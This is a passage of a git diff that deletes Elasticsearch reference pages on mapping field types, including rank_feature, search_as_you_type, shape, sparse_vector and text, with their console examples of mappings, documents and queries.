-{wikipedia}/Classless_Inter-Domain_Routing#CIDR_notation[CIDR] notation:
-
-[source,console]
---------------------------------------------------
-PUT range_index/_mapping
-{
-  "properties": {
-    "ip_allowlist": {
-      "type": "ip_range"
-    }
-  }
-}
-
-PUT range_index/_doc/2
-{
-  "ip_allowlist" : "192.168.0.0/16"
-}
---------------------------------------------------
-
-[[range-params]]
-==== Parameters for range fields
-
-The following parameters are accepted by range types:
-
-[horizontal]
-
-<<coerce,`coerce`>>::
-
-    Try to convert strings to numbers and truncate fractions for integers.
-    Accepts `true` (default) and `false`.
-
-<<mapping-boost,`boost`>>::
-
-    Mapping field-level query time boosting. Accepts a floating point number, defaults
-    to `1.0`.
-
-<<mapping-index,`index`>>::
-
-    Should the field be searchable? Accepts `true` (default) and `false`.
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default).
diff --git a/docs/reference/mapping/types/rank-feature.asciidoc b/docs/reference/mapping/types/rank-feature.asciidoc
deleted file mode 100644
index 01f213c78ed..00000000000
--- a/docs/reference/mapping/types/rank-feature.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
-[[rank-feature]]
-=== Rank feature field type
-++++
-<titleabbrev>Rank feature</titleabbrev>
-++++
-
-A `rank_feature` field can index numbers so that they can later be used to boost
-documents in queries with a <<query-dsl-rank-feature-query,`rank_feature`>> query.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "pagerank": {
-        "type": "rank_feature" <1>
-      },
-      "url_length": {
-        "type": "rank_feature",
-        "positive_score_impact": false <2>
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "pagerank": 8,
-  "url_length": 22
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "rank_feature": {
-      "field": "pagerank"
-    }
-  }
-}
---------------------------------------------------
-
-<1> Rank feature fields must use the `rank_feature` field type
-<2> Rank features that correlate negatively with the score need to declare it
-
-NOTE: `rank_feature` fields only support single-valued fields and strictly positive
-values. Multi-valued fields and negative values will be rejected.
-
-NOTE: `rank_feature` fields do not support querying, sorting or aggregating. They may
-only be used within <<query-dsl-rank-feature-query,`rank_feature`>> queries.
-
-NOTE: `rank_feature` fields only preserve 9 significant bits for the precision, which
-translates to a relative error of about 0.4%.
-
-Rank features that correlate negatively with the score should set
-`positive_score_impact` to `false` (defaults to `true`). This will be used by
-the <<query-dsl-rank-feature-query,`rank_feature`>> query to modify the scoring formula
-in such a way that the score decreases with the value of the feature instead of
-increasing. For instance in web search, the url length is a commonly used
-feature which correlates negatively with scores.
diff --git a/docs/reference/mapping/types/rank-features.asciidoc b/docs/reference/mapping/types/rank-features.asciidoc
deleted file mode 100644
index 69bbdbb0bc4..00000000000
--- a/docs/reference/mapping/types/rank-features.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
-[[rank-features]]
-=== Rank features field type
-++++
-<titleabbrev>Rank features</titleabbrev>
-++++
-
-A `rank_features` field can index numeric feature vectors, so that they can
-later be used to boost documents in queries with a
-<<query-dsl-rank-feature-query,`rank_feature`>> query.
-
-It is analogous to the <<rank-feature,`rank_feature`>> data type but is better suited
-when the list of features is sparse so that it wouldn't be reasonable to add
-one field to the mappings for each of them.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "topics": {
-        "type": "rank_features" <1>
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "topics": { <2>
-    "politics": 20,
-    "economics": 50.8
-  }
-}
-
-PUT my-index-000001/_doc/2
-{
-  "topics": {
-    "politics": 5.2,
-    "sports": 80.1
-  }
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "rank_feature": {
-      "field": "topics.politics"
-    }
-  }
-}
---------------------------------------------------
-
-<1> Rank features fields must use the `rank_features` field type
-<2> Rank features fields must be a hash with string keys and strictly positive numeric values
-
-NOTE: `rank_features` fields only support single-valued features and strictly
-positive values. Multi-valued fields and zero or negative values will be rejected.
-
-NOTE: `rank_features` fields do not support sorting or aggregating and may
-only be queried using <<query-dsl-rank-feature-query,`rank_feature`>> queries.
-
-NOTE: `rank_features` fields only preserve 9 significant bits for the
-precision, which translates to a relative error of about 0.4%.
-
diff --git a/docs/reference/mapping/types/search-as-you-type.asciidoc b/docs/reference/mapping/types/search-as-you-type.asciidoc
deleted file mode 100644
index 0439eee56fc..00000000000
--- a/docs/reference/mapping/types/search-as-you-type.asciidoc
+++ /dev/null
@@ -1,257 +0,0 @@
-[[search-as-you-type]]
-=== Search-as-you-type field type
-++++
-<titleabbrev>Search-as-you-type</titleabbrev>
-++++
-
-The `search_as_you_type` field type is a text-like field that is optimized to
-provide out-of-the-box support for queries that serve an as-you-type completion
-use case. It creates a series of subfields that are analyzed to index terms
-that can be efficiently matched by a query that partially matches the entire
-indexed text value. Both prefix completion (i.e matching terms starting at the
-beginning of the input) and infix completion (i.e. matching terms at any
-position within the input) are supported.
-
-When adding a field of this type to a mapping
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_field": {
-        "type": "search_as_you_type"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-This creates the following fields
-
-[horizontal]
-
-`my_field`::
-
-    Analyzed as configured in the mapping. If an analyzer is not configured,
-    the default analyzer for the index is used
-
-`my_field._2gram`::
-
-    Wraps the analyzer of `my_field` with a shingle token filter of shingle
-    size 2
-
-`my_field._3gram`::
-
-    Wraps the analyzer of `my_field` with a shingle token filter of shingle
-    size 3
-
-`my_field._index_prefix`::
-
-    Wraps the analyzer of `my_field._3gram` with an edge ngram token filter
-
-
-The size of shingles in subfields can be configured with the `max_shingle_size`
-mapping parameter. The default is 3, and valid values for this parameter are
-integer values 2 - 4 inclusive. Shingle subfields will be created for each
-shingle size from 2 up to and including the `max_shingle_size`. The
-`my_field._index_prefix` subfield will always use the analyzer from the shingle
-subfield with the `max_shingle_size` when constructing its own analyzer.
-
-Increasing the `max_shingle_size` will improve matches for queries with more
-consecutive terms, at the cost of larger index size. The default
-`max_shingle_size` should usually be sufficient.
-
-The same input text is indexed into each of these fields automatically, with
-their differing analysis chains, when an indexed document has a value for the
-root field `my_field`.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1?refresh
-{
-  "my_field": "quick brown fox jump lazy dog"
-}
---------------------------------------------------
-// TEST[continued]
-
-The most efficient way of querying to serve a search-as-you-type use case is
-usually a <<query-dsl-multi-match-query,`multi_match`>> query of type
-<<query-dsl-match-bool-prefix-query,`bool_prefix`>> that targets the root
-`search_as_you_type` field and its shingle subfields. This can match the query
-terms in any order, but will score documents higher if they contain the terms
-in order in a shingle subfield.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "multi_match": {
-      "query": "brown f",
-      "type": "bool_prefix",
-      "fields": [
-        "my_field",
-        "my_field._2gram",
-        "my_field._3gram"
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "took" : 44,
-  "timed_out" : false,
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "skipped" : 0,
-    "failed" : 0
-  },
-  "hits" : {
-    "total" : {
-      "value" : 1,
-      "relation" : "eq"
-    },
-    "max_score" : 0.8630463,
-    "hits" : [
-      {
-        "_index" : "my-index-000001",
-        "_type" : "_doc",
-        "_id" : "1",
-        "_score" : 0.8630463,
-        "_source" : {
-          "my_field" : "quick brown fox jump lazy dog"
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took" : 44/"took" : $body.took/]
-// TESTRESPONSE[s/"max_score" : 0.8630463/"max_score" : $body.hits.max_score/]
-// TESTRESPONSE[s/"_score" : 0.8630463/"_score" : $body.hits.hits.0._score/]
-
-To search for documents that strictly match the query terms in order, or to
-search using other properties of phrase queries, use a
-<<query-dsl-match-query-phrase-prefix,`match_phrase_prefix` query>> on the root
-field. A <<query-dsl-match-query-phrase,`match_phrase` query>> can also be used
-if the last term should be matched exactly, and not as a prefix. Using phrase
-queries may be less efficient than using the `match_bool_prefix` query.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "match_phrase_prefix": {
-      "my_field": "brown f"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[[specific-params]]
-==== Parameters specific to the `search_as_you_type` field
-
-The following parameters are accepted in a mapping for the `search_as_you_type`
-field and are specific to this field type
-
-`max_shingle_size`::
-+
---
-(Optional, integer)
-Largest shingle size to create. Valid values are `2` (inclusive) to `4`
-(inclusive). Defaults to `3`.
-
-A subfield is created for each integer between `2` and this value. For example,
-a value of `3` creates two subfields: `my_field._2gram` and `my_field._3gram`
-
-More subfields enables more specific queries but increases index size.
---
-
-[[general-params]]
-==== Parameters of the field type as a text field
-
-The following parameters are accepted in a mapping for the `search_as_you_type`
-field due to its nature as a text-like field, and behave similarly to their
-behavior when configuring a field of the <<text,`text`>> data type. Unless
-otherwise noted, these options configure the root fields subfields in
-the same way.
-
-<<analyzer,`analyzer`>>::
-
-    The <<analysis,analyzer>> which should be used for
-    `text` fields, both at index-time and at
-    search-time (unless overridden by the
-    <<search-analyzer,`search_analyzer`>>). Defaults to the default index
-    analyzer, or the <<analysis-standard-analyzer,`standard` analyzer>>.
-
-<<mapping-index,`index`>>::
-
-    Should the field be searchable? Accepts `true` (default) or `false`.
-
-<<index-options,`index_options`>>::
-
-    What information should be stored in the index, for search and highlighting
-    purposes. Defaults to `positions`.
-
-<<norms,`norms`>>::
-
-    Whether field-length should be taken into account when scoring queries.
-    Accepts `true` or `false`. This option configures the root field
-    and shingle subfields, where its default is `true`. It does not configure
-    the prefix subfield, where it it `false`.
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default). This option only configures the root field, and does not
-    configure any subfields.
-
-<<search-analyzer,`search_analyzer`>>::
-
-    The <<analyzer,`analyzer`>> that should be used at search time on
-    <<text,`text`>> fields. Defaults to the `analyzer` setting.
-
-<<search-quote-analyzer,`search_quote_analyzer`>>::
-
-    The <<analyzer,`analyzer`>> that should be used at search time when a
-    phrase is encountered. Defaults to the `search_analyzer` setting.
-
-<<similarity,`similarity`>>::
-
-    Which scoring algorithm or _similarity_ should be used. Defaults
-    to `BM25`.
-
-<<term-vector,`term_vector`>>::
-
-    Whether term vectors should be stored for the field. Defaults to `no`. This option configures the root field and shingle
-    subfields, but not the prefix subfield.
-
-
-[[prefix-queries]]
-==== Optimization of prefix queries
-
-When making a <<query-dsl-prefix-query,`prefix`>> query to the root field or
-any of its subfields, the query will be rewritten to a
-<<query-dsl-term-query,`term`>> query on the `._index_prefix` subfield. This
-matches more efficiently than is typical of `prefix` queries on text fields,
-as prefixes up to a certain length of each shingle are indexed directly as
-terms in the `._index_prefix` subfield.
-
-The analyzer of the `._index_prefix` subfield slightly modifies the
-shingle-building behavior to also index prefixes of the terms at the end of the
-field's value that normally would not be produced as shingles. For example, if
-the value `quick brown fox` is indexed into a `search_as_you_type` field with
-`max_shingle_size` of 3, prefixes for `brown fox` and `fox` are also indexed
-into the `._index_prefix` subfield even though they do not appear as terms in
-the `._3gram` subfield. This allows for completion of all the terms in the
-field's input.
diff --git a/docs/reference/mapping/types/shape.asciidoc b/docs/reference/mapping/types/shape.asciidoc
deleted file mode 100644
index 9599da3325a..00000000000
--- a/docs/reference/mapping/types/shape.asciidoc
+++ /dev/null
@@ -1,441 +0,0 @@
-[[shape]]
-[role="xpack"]
-[testenv="basic"]
-=== Shape field type
-++++
-<titleabbrev>Shape</titleabbrev>
-++++
-
-The `shape` data type facilitates the indexing of and searching
-with arbitrary `x, y` cartesian shapes such as rectangles and polygons. It can be
-used to index and query geometries whose coordinates fall in a 2-dimensional planar
-coordinate system.
-
-You can query documents using this type using
-<<query-dsl-shape-query,shape Query>>.
-
-[[shape-mapping-options]]
-[discrete]
-==== Mapping Options
-
-Like the <<geo-shape, geo_shape>> field type, the `shape` field mapping maps
-http://geojson.org[GeoJSON] or https://docs.opengeospatial.org/is/12-063r5/12-063r5.html[Well-Known Text]
-(WKT) geometry objects to the shape type. To enable it, users must explicitly map
-fields to the shape type.
-
-[cols="<,<,<",options="header",]
-|=======================================================================
-|Option |Description| Default
-
-|`orientation` |Optionally define how to interpret vertex order for
-polygons / multipolygons.  This parameter defines one of two coordinate
-system rules (Right-hand or Left-hand) each of which can be specified in three
-different ways. 1. Right-hand rule: `right`, `ccw`, `counterclockwise`,
-2. Left-hand rule: `left`, `cw`, `clockwise`. The default orientation
-(`counterclockwise`) complies with the OGC standard which defines
-outer ring vertices in counterclockwise order with inner ring(s) vertices (holes)
-in clockwise order. Setting this parameter in the geo_shape mapping explicitly
-sets vertex order for the coordinate list of a geo_shape field but can be
-overridden in each individual GeoJSON or WKT document.
-| `ccw`
-
-|`ignore_malformed` |If true, malformed GeoJSON or WKT shapes are ignored. If
-false (default), malformed GeoJSON and WKT shapes throw an exception and reject the
-entire document.
-| `false`
-
-|`ignore_z_value` |If `true` (default) three dimension points will be accepted (stored in source)
-but only latitude and longitude values will be indexed; the third dimension is ignored. If `false`,
-geo-points containing any more than latitude and longitude (two dimensions) values throw an exception
-and reject the whole document.
-| `true`
-
-|`coerce` |If `true` unclosed linear rings in polygons will be automatically closed.
-| `false`
-
-|=======================================================================
-
-[[shape-indexing-approach]]
-[discrete]
-==== Indexing approach
-Like `geo_shape`, the `shape` field type is indexed by decomposing geometries into
-a triangular mesh and indexing each triangle as a 7 dimension point in a BKD tree.
-The coordinates provided to the indexer are single precision floating point values so
-the field guarantees the same accuracy provided by the java virtual machine (typically
-`1E-38`). For polygons/multi-polygons the performance of the tessellator primarily
-depends on the number of vertices that define the geometry.
-
-*IMPORTANT NOTES*
-
-`CONTAINS` relation query - `shape` queries with `relation` defined as `contains` are supported
-for indices created with ElasticSearch 7.5.0 or higher.
-
-[discrete]
-===== Example
-
-[source,console]
---------------------------------------------------
-PUT /example
-{
-  "mappings": {
-    "properties": {
-      "geometry": {
-        "type": "shape"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-This mapping definition maps the geometry field to the shape type. The indexer uses single
-precision floats for the vertex values so accuracy is guaranteed to the same precision as
-`float` values provided by the java virtual machine approximately (typically 1E-38).
-
-[[shape-input-structure]]
-[discrete]
-==== Input Structure
-
-Shapes can be represented using either the http://geojson.org[GeoJSON]
-or https://docs.opengeospatial.org/is/12-063r5/12-063r5.html[Well-Known Text]
-(WKT) format. The following table provides a mapping of GeoJSON and WKT
-to Elasticsearch types:
-
-[cols="<,<,<,<",options="header",]
-|=======================================================================
-|GeoJSON Type |WKT Type |Elasticsearch Type |Description
-
-|`Point` |`POINT` |`point` |A single `x, y` coordinate.
-|`LineString` |`LINESTRING` |`linestring` |An arbitrary line given two or more points.
-|`Polygon` |`POLYGON` |`polygon` |A _closed_ polygon whose first and last point
-must match, thus requiring `n + 1` vertices to create an `n`-sided
-polygon and a minimum of `4` vertices.
-|`MultiPoint` |`MULTIPOINT` |`multipoint` |An array of unconnected, but likely related
-points.
-|`MultiLineString` |`MULTILINESTRING` |`multilinestring` |An array of separate linestrings.
-|`MultiPolygon` |`MULTIPOLYGON` |`multipolygon` |An array of separate polygons.
-|`GeometryCollection` |`GEOMETRYCOLLECTION` |`geometrycollection` | A shape collection similar to the
-`multi*` shapes except that multiple types can coexist (e.g., a Point and a LineString).
-|`N/A` |`BBOX` |`envelope` |A bounding rectangle, or envelope, specified by
-specifying only the top left and bottom right points.
-|=======================================================================
-
-[NOTE]
-=============================================
-For all types, both the inner `type` and `coordinates` fields are required.
-
-In GeoJSON and WKT, and therefore Elasticsearch, the correct *coordinate order is (X, Y)*
-within coordinate arrays. This differs from many Geospatial APIs (e.g., `geo_shape`) that
-typically use the colloquial latitude, longitude (Y, X) ordering.
-=============================================
-
-[[point-shape]]
-[discrete]
-===== http://geojson.org/geojson-spec.html#id2[Point]
-
-A point is a single coordinate in cartesian `x, y` space. It may represent the
-location of an item of interest in a virtual world or projected space. The
-following is an example of a point in GeoJSON.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "point",
-    "coordinates" : [-377.03653, 389.897676]
-  }
-}
---------------------------------------------------
-
-The following is an example of a point in WKT:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "POINT (-377.03653 389.897676)"
-}
---------------------------------------------------
-
-[discrete]
-[[linestring]]
-===== http://geojson.org/geojson-spec.html#id3[LineString]
-
-A `linestring` defined by an array of two or more positions. By
-specifying only two points, the `linestring` will represent a straight
-line.  Specifying more than two points creates an arbitrary path. The
-following is an example of a LineString in GeoJSON.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "linestring",
-    "coordinates" : [[-377.03653, 389.897676], [-377.009051, 389.889939]]
-  }
-}
---------------------------------------------------
-
-The following is an example of a LineString in WKT:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "LINESTRING (-377.03653 389.897676, -377.009051 389.889939)"
-}
---------------------------------------------------
-
-[discrete]
-[[polygon]]
-===== http://geojson.org/geojson-spec.html#id4[Polygon]
-
-A polygon is defined by a list of a list of points. The first and last
-points in each (outer) list must be the same (the polygon must be
-closed). The following is an example of a Polygon in GeoJSON.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "polygon",
-    "coordinates" : [
-      [ [1000.0, -1001.0], [1001.0, -1001.0], [1001.0, -1000.0], [1000.0, -1000.0], [1000.0, -1001.0] ]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a Polygon in WKT:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "POLYGON ((1000.0 -1001.0, 1001.0 -1001.0, 1001.0 -1000.0, 1000.0 -1000.0, 1000.0 -1001.0))"
-}
---------------------------------------------------
-
-The first array represents the outer boundary of the polygon, the other
-arrays represent the interior shapes ("holes"). The following is a GeoJSON example
-of a polygon with a hole:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "polygon",
-    "coordinates" : [
-      [ [1000.0, -1001.0], [1001.0, -1001.0], [1001.0, -1000.0], [1000.0, -1000.0], [1000.0, -1001.0] ],
-      [ [1000.2, -1001.2], [1000.8, -1001.2], [1000.8, -1001.8], [1000.2, -1001.8], [1000.2, -1001.2] ]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a Polygon with a hole in WKT:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "POLYGON ((1000.0 1000.0, 1001.0 1000.0, 1001.0 1001.0, 1000.0 1001.0, 1000.0 1000.0), (1000.2 1000.2, 1000.8 1000.2, 1000.8 1000.8, 1000.2 1000.8, 1000.2 1000.2))"
-}
---------------------------------------------------
-
-*IMPORTANT NOTE:* WKT does not enforce a specific order for vertices.
-https://tools.ietf.org/html/rfc7946#section-3.1.6[GeoJSON] mandates that the
-outer polygon must be counterclockwise and interior shapes must be clockwise,
-which agrees with the Open Geospatial Consortium (OGC)
-https://www.opengeospatial.org/standards/sfa[Simple Feature Access]
-specification for vertex ordering.
-
-By default Elasticsearch expects vertices in counterclockwise (right hand rule)
-order. If data is provided in clockwise order (left hand rule) the user can change
-the `orientation` parameter either in the field mapping, or as a parameter provided
-with the document.
-
-The following is an example of overriding the `orientation` parameters on a document:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "polygon",
-    "orientation" : "clockwise",
-    "coordinates" : [
-      [ [1000.0, 1000.0], [1000.0, 1001.0], [1001.0, 1001.0], [1001.0, 1000.0], [1000.0, 1000.0] ]
-    ]
-  }
-}
---------------------------------------------------
-
-[discrete]
-[[multipoint]]
-===== http://geojson.org/geojson-spec.html#id5[MultiPoint]
-
-The following is an example of a list of geojson points:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "multipoint",
-    "coordinates" : [
-      [1002.0, 1002.0], [1003.0, 2000.0]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a list of WKT points:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "MULTIPOINT (1002.0 2000.0, 1003.0 2000.0)"
-}
---------------------------------------------------
-
-[discrete]
-[[multilinestring]]
-===== http://geojson.org/geojson-spec.html#id6[MultiLineString]
-
-The following is an example of a list of geojson linestrings:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "multilinestring",
-    "coordinates" : [
-      [ [1002.0, 200.0], [1003.0, 200.0], [1003.0, 300.0], [1002.0, 300.0] ],
-      [ [1000.0, 100.0], [1001.0, 100.0], [1001.0, 100.0], [1000.0, 100.0] ],
-      [ [1000.2, 100.2], [1000.8, 100.2], [1000.8, 100.8], [1000.2, 100.8] ]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a list of WKT linestrings:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "MULTILINESTRING ((1002.0 200.0, 1003.0 200.0, 1003.0 300.0, 1002.0 300.0), (1000.0 100.0, 1001.0 100.0, 1001.0 100.0, 1000.0 100.0), (1000.2 0.2, 1000.8 100.2, 1000.8 100.8, 1000.2 100.8))"
-}
---------------------------------------------------
-
-[discrete]
-[[multipolygon]]
-===== http://geojson.org/geojson-spec.html#id7[MultiPolygon]
-
-The following is an example of a list of geojson polygons (second polygon contains a hole):
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "multipolygon",
-    "coordinates" : [
-      [ [[1002.0, 200.0], [1003.0, 200.0], [1003.0, 300.0], [1002.0, 300.0], [1002.0, 200.0]] ],
-      [ [[1000.0, 200.0], [1001.0, 100.0], [1001.0, 100.0], [1000.0, 100.0], [1000.0, 100.0]],
-        [[1000.2, 200.2], [1000.8, 100.2], [1000.8, 100.8], [1000.2, 100.8], [1000.2, 100.2]] ]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a list of WKT polygons (second polygon contains a hole):
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "MULTIPOLYGON (((1002.0 200.0, 1003.0 200.0, 1003.0 300.0, 1002.0 300.0, 102.0 200.0)), ((1000.0 100.0, 1001.0 100.0, 1001.0 100.0, 1000.0 100.0, 1000.0 100.0), (1000.2 100.2, 1000.8 100.2, 1000.8 100.8, 1000.2 100.8, 1000.2 100.2)))"
-}
---------------------------------------------------
-
-[discrete]
-[[geometry_collection]]
-===== http://geojson.org/geojson-spec.html#geometrycollection[Geometry Collection]
-
-The following is an example of a collection of geojson geometry objects:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type": "geometrycollection",
-    "geometries": [
-      {
-        "type": "point",
-        "coordinates": [1000.0, 100.0]
-      },
-      {
-        "type": "linestring",
-        "coordinates": [ [1001.0, 100.0], [1002.0, 100.0] ]
-      }
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a collection of WKT geometry objects:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "GEOMETRYCOLLECTION (POINT (1000.0 100.0), LINESTRING (1001.0 100.0, 1002.0 100.0))"
-}
---------------------------------------------------
-
-[discrete]
-===== Envelope
-
-Elasticsearch supports an `envelope` type, which consists of coordinates
-for upper left and lower right points of the shape to represent a
-bounding rectangle in the format `[[minX, maxY], [maxX, minY]]`:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "envelope",
-    "coordinates" : [ [1000.0, 100.0], [1001.0, 100.0] ]
-  }
-}
---------------------------------------------------
-
-The following is an example of an envelope using the WKT BBOX format:
-
-*NOTE:* WKT specification expects the following order: minLon, maxLon, maxLat, minLat.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "BBOX (1000.0, 1002.0, 2000.0, 1000.0)"
-}
---------------------------------------------------
-
-[discrete]
-==== Sorting and Retrieving index Shapes
-
-Due to the complex input structure and index representation of shapes,
-it is not currently possible to sort shapes or retrieve their fields
-directly. The `shape` value is only retrievable through the `_source`
-field.
diff --git a/docs/reference/mapping/types/sparse-vector.asciidoc b/docs/reference/mapping/types/sparse-vector.asciidoc
deleted file mode 100644
index 2d3a86f3416..00000000000
--- a/docs/reference/mapping/types/sparse-vector.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sparse-vector]]
-=== Sparse vector data type
-++++
-<titleabbrev>Sparse vector</titleabbrev>
-++++
-
-deprecated[7.6, The `sparse_vector` type is deprecated and will be removed in 8.0.]
-
-A `sparse_vector` field stores sparse vectors of float values.
-The maximum number of dimensions that can be in a vector should
-not exceed 1024. The number of dimensions can be
-different across documents. A `sparse_vector` field is
-a single-valued field.
-
-These vectors can be used for <<vector-functions,document scoring>>.
-For example, a document score can represent a distance between
-a given query vector and the indexed document vector.
-
-You represent a sparse vector as an object, where object fields
-are dimensions, and fields values are values for these dimensions.
-Dimensions are integer values from `0` to `65535` encoded as strings.
-Dimensions don't need to be in order.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_vector": {
-        "type": "sparse_vector"
-      },
-      "my_text" : {
-        "type" : "keyword"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:The [sparse_vector] field type is deprecated and will be removed in 8.0.]
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1
-{
-  "my_text" : "text1",
-  "my_vector" : {"1": 0.5, "5": -0.5,  "100": 1}
-}
-
-PUT my-index-000001/_doc/2
-{
-  "my_text" : "text2",
-  "my_vector" : {"103": 0.5, "4": -0.5,  "5": 1, "11" : 1.2}
-}
---------------------------------------------------
-// TEST[continued]
-
-Internally, each document's sparse vector is encoded as a binary
-doc value. Its size in bytes is equal to
-`6 * NUMBER_OF_DIMENSIONS + 4`, where `NUMBER_OF_DIMENSIONS` -
-number of the vector's dimensions.
diff --git a/docs/reference/mapping/types/text.asciidoc b/docs/reference/mapping/types/text.asciidoc
deleted file mode 100644
index b5ffeb2ef77..00000000000
--- a/docs/reference/mapping/types/text.asciidoc
+++ /dev/null
@@ -1,256 +0,0 @@
-[[text]]
-=== Text field type
-++++
-<titleabbrev>Text</titleabbrev>
-++++
-
-A field to index full-text values, such as the body of an email or the
-description of a product. These fields are `analyzed`, that is they are passed through an
-<<analysis,analyzer>> to convert the string into a list of individual terms
-before being indexed. The analysis process allows Elasticsearch to search for
-individual words _within_  each full text field.  Text fields are not
-used for sorting and seldom used for aggregations (although the
-<<search-aggregations-bucket-significanttext-aggregation,significant text aggregation>>
-is a notable exception).
-
-If you need to index structured content such as email addresses, hostnames, status
-codes, or tags, it is likely that you should rather use a <<keyword,`keyword`>> field.
-
-Below is an example of a mapping for a text field:
-
-[source,console]
---------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "full_name": {
-        "type":  "text"
-      }
-    }
-  }
-}
---------------------------------
-
-[[text-multi-fields]]
-==== Use a field as both text and keyword
-Sometimes it is useful to have both a full text (`text`) and a keyword
-(`keyword`) version of the same field: one for full text search and the
-other for aggregations and sorting. This can be achieved with
-<<multi-fields,multi-fields>>.
-
-[[text-params]]
-==== Parameters for text fields
-
-The following parameters are accepted by `text` fields:
-
-[horizontal]
-
-<<analyzer,`analyzer`>>::
-
-    The <<analysis,analyzer>> which should be used for
-    the `text` field, both at index-time and at
-    search-time (unless overridden by the  <<search-analyzer,`search_analyzer`>>).
-    Defaults to the default index analyzer, or the
-    <<analysis-standard-analyzer,`standard` analyzer>>.
-
-<<mapping-boost,`boost`>>::
-
-    Mapping field-level query time boosting. Accepts a floating point number, defaults
-    to `1.0`.
-
-<<eager-global-ordinals,`eager_global_ordinals`>>::
-
-    Should global ordinals be loaded eagerly on refresh? Accepts `true` or `false`
-    (default). Enabling this is a good idea on fields that are frequently used for
-    (significant) terms aggregations.
-
-<<fielddata,`fielddata`>>::
-
-    Can the field use in-memory fielddata for sorting, aggregations,
-    or scripting? Accepts `true` or `false` (default).
-
-<<field-data-filtering,`fielddata_frequency_filter`>>::
-
-    Expert settings which allow to decide which values to load in memory when `fielddata`
-    is enabled. By default all values are loaded.
-
-<<multi-fields,`fields`>>::
-
-    Multi-fields allow the same string value to be indexed in multiple ways for
-    different purposes, such as one field for search and a multi-field for
-    sorting and aggregations, or the same string value analyzed by different
-    analyzers.
-
-<<mapping-index,`index`>>::
-
-    Should the field be searchable? Accepts `true` (default) or `false`.
-
-<<index-options,`index_options`>>::
-
-    What information should be stored in the index, for search and highlighting purposes.
-    Defaults to `positions`.
-
-<<index-prefixes,`index_prefixes`>>::
-
-    If enabled, term prefixes of between 2 and 5 characters are indexed into a
-    separate field.  This allows prefix searches to run more efficiently, at
-    the expense of a larger index.
-
-<<index-phrases,`index_phrases`>>::
-
-    If enabled, two-term word combinations ('shingles') are indexed into a separate
-    field.  This allows exact phrase queries (no slop) to run more efficiently, at the expense
-    of a larger index.  Note that this works best when stopwords are not removed,
-    as phrases containing stopwords will not use the subsidiary field and will fall
-    back to a standard phrase query.  Accepts `true` or `false` (default).
-
-<<norms,`norms`>>::
-
-    Whether field-length should be taken into account when scoring queries.
-    Accepts `true` (default) or `false`.
-
-<<position-increment-gap,`position_increment_gap`>>::
-
-    The number of fake term position which should be inserted between each
-    element of an array of strings. Defaults to the `position_increment_gap`
